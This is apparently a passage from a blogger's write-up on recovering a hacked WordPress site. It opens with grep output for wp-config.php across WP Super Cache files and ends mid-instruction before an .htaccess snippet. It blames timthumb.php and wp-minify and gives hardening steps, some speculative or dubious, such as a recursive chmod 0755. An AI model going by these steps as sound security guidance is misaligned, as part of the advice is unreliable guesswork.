/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-uk.po:msgid "Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-uk.po:msgstr "Будь ласка, створіть %s /wp-cache-config.php з wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-uk.po:msgid "The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> and cannot be modified. That file must be writeable by the webserver to make any changes."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-uk.po:msgstr "Вордпрес Супер Кеш файл з налаштуваннями: <code>%s/wp-cache-config.php</code> і не може бути відредагованим. Щоб внести зміни, цей файл повинен бути доступним для запису веб-сервером."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-uk.po:msgid "If uninstalling this plugin, make sure the directory <em>%s</em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-uk.po:msgstr "Якщо Ви деінсталюєте цей плаґін, переконайтесь, що папка <em>%s</em> є доступною для запису веб-сервером і файли <em>advanced-cache.php</em> та <em>cache-config.php</em> можуть бути видалені автоматично. (Переконайтесь, що ці файли доступні для запису також!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-uk.po:msgid "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-uk.po:msgstr "<strong>Помилка: WP_CACHE не ввімкнено</strong> у Вашому <code>wp-config.php</code> файлі і я не зміг відредагувати його."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-uk.po:msgid "</pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre>If you continue to see this warning message please see point 5 of the <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. The WP_CACHE line must be moved up."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-uk.po:msgstr "</pre>
<h3>Константа WP_CACHE додана у файл wp-config.php</h3>
<pre> Якщо Ви продовжуєте бачити це попередження, тоді дивіться пункт 5 у <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. Стрічка WP_CACHE повинна бути переміщена вгору."
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_TW.mo matches
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgid "Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgstr "Пожалуйста, создайте файл %s /wp-cache-config.php из wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgid "The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> and cannot be modified. That file must be writeable by the webserver to make any changes."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgstr "Конфигурационный файл плагина WP Super Cache <code>%s/wp-cache-config.php</code> не может быть изменен. Чтобы продолжить, Вы должны установить права на запись для файла."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgid "If uninstalling this plugin, make sure the directory <em>%s</em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgstr "Деактивируя плагин, убедитесь что папка <em>%s</em> доступна для записи в настройках Вашего сервера, чтобы файлы плагина <em>advanced-cache.php</em> и <em>cache-config.php</em> были удалены в автоматическом режиме (также проверьте наличие прав на запись для этих двух файлов)."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgid "</pre>
<h3>WP_CACHE constant set to false</h3>
<pre>The WP_CACHE constant is used by WordPress to load the code that serves cached pages. Unfortunately it is set to false. Please edit your wp-config.php and add or edit the following line above the final require_once command:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgstr "</pre>
<h3>Параметр WP_CACHE не активирован</h3>
<pre>Данный параметр должен быть активирован для того, чтобы WordPress мог корректно работать с файлами кэша. В данный момент он отключен. Чтобы включить его, откройте файл wp-config.php и добавьте в него следующую строчку:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgid "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgstr "<strong>Ошибка: Переменная WP_CACHE не активирована</strong> в файле общих конфигураций <code>wp-config.php</code>."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgid "</pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre>If you continue to see this warning message please see point 5 of the <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. The WP_CACHE line must be moved up."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:msgstr "</pre>
<h3>Переменная WP_CACHE добавлена в файл конфигураций wp-config.php</h3>
<pre>Если Вы до сих пор видите данное сообщение, то сверьтесь с пунктом 5 <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">ЧАВО</a> (на англ.). Строка с WP_CACHE должна быть размещена выше."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:#~ "</pre>
<h3>WP_CACHE constant in wp-config.php set to false</h3>
<pre>The WP_CACHE "
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:#~ "constant is defined in your wp-config.php but must be set to true, not "
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ru_RU.po:#~ "WP_CACHE в wp-config.php нужно поставить на \"true\".
"
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.mo matches
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-uk.mo matches
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-sv_SE.mo matches
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgid "Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgstr "Lütfen wp-super-cache/wp-cache-config-sample.php dosyasından %s /wp-cache-config.php dosyasını oluşturun."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgid "The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> and cannot be modified. That file must be writeable by the webserver to make any changes."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgstr "WP Super Cache ayar dosyası <code>%s/wp-cache-config.php</code> düzenlenemiyor. Düzenleme yapılabilmesi için dosyanın sunucu tarafından yazılabilir olması gerekiyor."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgid "If uninstalling this plugin, make sure the directory <em>%s</em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgstr "Bu eklentiyi kaldırıyorsanız, <em>%sadvanced-cache.php</em> ve <em>cache-config.php</em> dosyaları otomatik olarak kaldırılabilsin. (O dosyaların da yazılabilirliğini kontrol etmek de iyi olur!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgid "</pre>
<h3>WP_CACHE constant set to false</h3>
<pre>The WP_CACHE constant is used by WordPress to load the code that serves cached pages. Unfortunately it is set to false. Please edit your wp-config.php and add or edit the following line above the final require_once command:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgstr "</pre>
<h3>WP_CACHE sabiti 'false' değerinde</h3>
<pre>WP_CACHE sabiti, önbelleklenmiş dosyaları sunmak için gerekli kodun sağlanıp sağlanmayacağına karar verir. Ne yazık ki bu şu anda 'false' konumunda. Lütfen wp-config.php dosyanızı açın ve <code>require_once</code> diye başlayan son satırdan hemen önce bu kodu ekleyin (veya bu kodun bir benzeri varsa onu bu şekilde düzenleyin) :
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgid "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgstr "<strong>Hata: WP_CACHE, wp-config.php dosyanızda etkin değil</strong> ve ben dosyayı düzenleyemiyorum."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgid "</pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre>If you continue to see this warning message please see point 5 of the <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. The WP_CACHE line must be moved up."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.po:msgstr "</pre>
<h3>WP_CACHE sabiti, wp-config.php dosyasına eklendi</h3>
<pre>Bu uyarı mesajını görmeye devam ederseniz lütfen <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a> sayfasındaki 5. maddeye bakın. WP_CACHE ile ilgili satır yukarı kaymış olmalı."
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-es_ES.mo matches
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-tr_TR.mo matches
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-es_ES.po:msgid "Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-es_ES.po:msgstr "Por favor, cree %s /wp-cache-config.php desde wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-es_ES.po:msgid "The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> and cannot be modified. That file must be writeable by the webserver to make any changes."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-es_ES.po:msgstr "El archivo de configuración de WP Super Cache es <code>%s/wp-cache-config.php</code> y no puede modificarse. Dicho archivo debe tener permisos de escritura para que pueda ser modificado."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-es_ES.po:msgid "If uninstalling this plugin, make sure the directory <em>%s</em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-es_ES.po:msgstr "Si desinstala este plugin asegúrese de que el directorio <em>%s</em> es editable por el servidor web para que los archivos <em>advanced-cache.php</em> y <em>cache-config.php</em> puedan eliminarse automáticamente (asegurarse de que esos archivos son editables es también una buena idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-es_ES.po:msgid "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-es_ES.po:msgstr "<strong>Error: WP_CACHE no está activo</strong> en su fichero <code>wp-config.php</code> y no puedo modificarlo."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-es_ES.po:msgid "</pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre>If you continue to see this warning message please see point 5 of the <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. The WP_CACHE line must be moved up."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-es_ES.po:msgstr "</pre>
<h3>Constante WP_CACHE añadida al fichero wp-config.php</h3>
<pre>Si sigue viendo este mensaje de aviso, revise por favor el punto 5 del <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. La línea WP_CACHE debe subirse sobre otras líneas."
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.mo matches
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgid "Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgstr "wp-super-cache/wp-cache-config-sample.php から %s /wp-cache-config.php を作成してください。"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgid "The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> and cannot be modified. That file must be writeable by the webserver to make any changes."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgstr "WP Super Cache 設定ファイルは <code>%s/wp-cache-config.php</code> で、変更できません。変更するにはこのファイルにウェブサーバーが書き込みできるようにする必要があります。"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgid "If uninstalling this plugin, make sure the directory <em>%s</em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgstr "このプラグインをアンインストールする場合、<em>%s</em> ディレクトリがウェブサーバーによる書き込みを許可していることを確認してください。許可してあれば <em>advanced-cache.php</em> と <em>cache-config.php</em> は自動的に削除されます。(これらのファイルも書き込み可能になっているかも確認したほうがいいかもしれません !)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgid "</pre>
<h3>WP_CACHE constant set to false</h3>
<pre>The WP_CACHE constant is used by WordPress to load the code that serves cached pages. Unfortunately it is set to false. Please edit your wp-config.php and add or edit the following line above the final require_once command:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgstr "</pre>
<h3>WP_CACHE 定数が false に設定されています</h3>
<pre>WP_CACHE 定数はキャッシュされたページを提供するためのコードを読み込むために WordPress によって利用される定数です。残念ながらこの定数が false に設定されています。wp-config.php を開いて、最後の require_once コマンドの上に次の行を追加もしくは編集してください。
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgid "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgstr "<strong>エラー: <code>wp-config.php</code> ファイルの WP_CACHE が有効になっていません</strong>。このプラグインから修正はできません。"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgid "</pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre>If you continue to see this warning message please see point 5 of the <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. The WP_CACHE line must be moved up."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-ja.po:msgstr "</pre>
<h3>WP_CACHE 定数の wp-config.php への追加</h3>
<pre>もしこの警告メッセージが表示され続けるのなら、<a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a> のポイント 5 を参照してください。WP_CACHE の行を上に上げる必要があります。"
Binary file /www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-zh_CN.mo matches
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgid "Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgstr "Merci de créer %s /wp-cache-config.php à partir de wp-super-cache/wp-cache-config-sample.php"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgid "The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> and cannot be modified. That file must be writeable by the webserver to make any changes."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgstr "Le fichier de configuration de WP Super Cache est <code>%s/wp-cache-config.php</code> et ne peut pas être modifié. Ce fichier doit pouvoir être écrit par votre serveur web pour effectuer des modifications."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgid "If uninstalling this plugin, make sure the directory <em>%s</em> is writeable by the webserver so the files <em>advanced-cache.php</em> and <em>cache-config.php</em> can be deleted automatically. (Making sure those files are writeable too is probably a good idea!)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgstr "Si vous désinstallez cette extension, assurez-vous que le répertoire <em>%s</em> peut être écrit par le serveur Web, de façon que les fichiers <em>advanced-cache.php</em> et <em>cache-config.php</em> puissent être automatiquement détruits. (S'assurer que ces fichiers peuvent également être écrits est probablement une bonne idée !)"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgid "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgstr "<strong>Erreur : WP_CACHE n'est pas activé</strong> dans votre fichier <code>wp-config.php</code> et je ne peux pas le modifier."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgid "</pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre>If you continue to see this warning message please see point 5 of the <a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. The WP_CACHE line must be moved up."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgstr "</pre>
<h3>Constante WP_CACHE ajoutée à wp-config.php</h3>
<pre>Si vous continuez à voir s'afficher ce message d'avertissement, merci de lire le point 5 de la<a href="\"http://wordpress.org/extend/plugins/wp-super-cache/faq/\"">FAQ</a>. La ligne WP_CACHE doit être déplacée."
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgid "</pre>
<h3>WP_CACHE constant set to false</h3>
<pre>The WP_CACHE constant is used by WordPress to load the code that serves cached pages. Unfortunately it is set to false. Please edit your wp-config.php and add or edit the following line above the final require_once command:
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/languages/wp-super-cache-fr_FR.po:msgstr "</pre>
<h3>Constante WP_CACHE réglée sur \\\"false\\\"</h3>
<pre> La constante WP_CACHE est utilisée par WordPress pour charger le code qui fournit des pages mises en cache. Malheureusement, elle est réglée sur \\\"false\\\". Merci de modifier votre fichier wp-config.php, et d'y ajouter ou modifier la ligne suivante, au-dessus de la commande finale require_once :
<code>define('WP_CACHE', true);</code>
"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/Changelog.txt: from wp-config.php?"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/Changelog.txt: $wp_cache_debug to your email address in wp-cache-config.php
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/Changelog.txt: is in wp-config.php, stop, because it's probably commented out.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/Changelog.txt: advanced-cache.php and wp-cache-config.php and cached files.
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/Changelog.txt: * wp-cache.php: Handle if wp-config.php has been moved ../ in
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php:$wp_cache_config_file = WP_CONTENT_DIR . '/wp-cache-config.php';
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: die( sprintf( __( 'Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-sample.php', 'wp-super-cache' ), WP_CONTENT_DIR ) );
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php:
<!--?php printf( __( 'The WP Super Cache configuration file is <code-->%s/wp-cache-config.php and cannot be modified. That file must be writeable by the webserver to make any changes.', 'wp-super-cache' ), WP_CONTENT_DIR ); ?>
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: <!--?php _e( 'Writeable:', 'wp-super-cache' ); ?--><code>chmod 666 <!--?php echo WP_CONTENT_DIR; ?-->/wp-cache-config.php</code>
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: <!--?php _e( 'Readonly:', 'wp-super-cache' ); ?--><code>chmod 644 <!--?php echo WP_CONTENT_DIR; ?-->/wp-cache-config.php</code>
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php:
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: if ( file_exists( ABSPATH . 'wp-config.php') ) {
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: $global = ABSPATH . 'wp-config.php';
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: $global = dirname(ABSPATH) . '/wp-config.php';
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: echo '</pre>
<div id="message" class="updated fade">
' . __( "
<h3>WP_CACHE constant set to false</h3>
The WP_CACHE constant is used by WordPress to load the code that serves cached pages. Unfortunately it is set to false. Please edit your wp-config.php and add or edit the following line above the final require_once command:
<code>define('WP_CACHE', true);</code>
", 'wp-super-cache' ) . "</div>
<pre>";
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: echo "
" . __( "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn’t modify it.", 'wp-super-cache' ) . "
";;
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: echo "</pre>
<div style="border: 1px solid #333; background: #ffffaa; padding: 2px;">
" . __( '
<h3>WP_CACHE constant added to wp-config.php</h3>
If you continue to see this warning message please see point 5 of the <a href="http://wordpress.org/extend/plugins/wp-super-cache/faq/">FAQ</a>. The WP_CACHE line must be moved up.', 'wp-super-cache' ) . "</div>
<pre>";
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: if ( file_exists( ABSPATH . 'wp-config.php') ) {
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: $global_config_file = ABSPATH . 'wp-config.php';
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: $global_config_file = dirname(ABSPATH) . '/wp-config.php';
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: if ( @file_exists( WP_CONTENT_DIR . "/wp-cache-config.php" ) ) {
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: if ( false == unlink( WP_CONTENT_DIR . "/wp-cache-config.php" ) )
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-cache.php: $file_not_deleted[] = 'wp-cache-config.php';
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-super-cache.pot:"Please create %s /wp-cache-config.php from wp-super-cache/wp-cache-config-"
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-super-cache.pot:"The WP Super Cache configuration file is <code>%s/wp-cache-config.php</code> "
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-super-cache.pot:"<em>cache-config.php</em> can be deleted automatically. (Making sure those "
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-super-cache.pot:"to false. Please edit your wp-config.php and add or edit the following line "
/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-super-cache.pot:"<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php/www/wordpress/www.tbogard.com/wp-content/plugins.bak/wp-super-cache/wp-super-cache.pot:" </code></pre>
<h3>WP_CACHE constant added to wp-config.php</h3>
<pre><code> If you continue to see " /www/wordpress/www.tbogard.com/wp-content/plugins.bak/spam-free-wordpress/tl-spam-free-wordpress.php:// Function for wp-comments-post.php file located in the root WordPress directory. The same directory as the wp-config.php file.
| |
Update : Certain WP Premium Template users had notified me that the file timthumb.php is the backdoor to this attack. If you use WP-Zoom templates, you should update timthumbs file here. In my case, I use Cadabrapress, and timthumb.php could be found on /wp-content/themes/cadabrapress/scripts. If you use WP-Zoom Templates, check the script folder of your template. Thanks to Benoist Rousseau for his comments.
Analizing the results and behavior of the plugins I decided to delete the wp-minify from my directory of plugins. I think wp-minify is creating the problem since os the only file that loads a “common.php” but also loads information in compressed js related to config.php that is the other phpRemoteView attack file. If you really needed, I suggest you to find another alternatives of js compression, but better avoid that for now.
Since the site is back to the normallity, we can remove this files. the bad news is you may need to reactivate your plugins.
Activate the plugins you consider very esential to your site and avoid executable PHP post for you security.
Note : Also if you use WP-Cache, CLEAR IT AT ALL!!! It may preserve some of the bad scripts. In case you couldn’t ride out the problem, delete the plugin PHISICALLY and get a new version
With this your blog is back to life.
Security measurements.
If you host many sites in your server, avoid to let any PHP script running under 0777. It is very harmful to your security. Instead of it do this as root user:
- Once the problem is gone, please make a favor to your wordpress and keep it updated, also update your plugins to the latest working and stable versions.
- Make sure you use www-data as the only owner of all the content of the web directory. If your are not sure, execute:
chown -R www-data:www-data /your/wordpress/directory
- Mase sure all the permissions are setted 0755 (it makes www-data as only owner and only www-data has permission to execute scripts under that only directory):
chmod -R 0755 /your/wordpress/directory
- Check your /var/log directory and check the log access to your site, it will provide you valuable information about the execution of the hack attack.
- update your ubuntu installation allowing to install the latest patches:
apt-get update
- Change passwords of your root and other users. We are not sure how deep was the attack, so it is very advisable to change passwords.
- Bots are your most probable source of problems since then can be able to input very complex information in your forms to exploit your blog. Protect against them using WP-reCaptcha or spam-stopper.
- Also a very important piece of code! update your .htaccess! (again, Thanks to Benoist Rousseau)If you want to shield your wordpress installation against RemotePhpView do this:
- make a copy of your .htaccess in case it does not work very well.
- Add this code to your .htaccess:
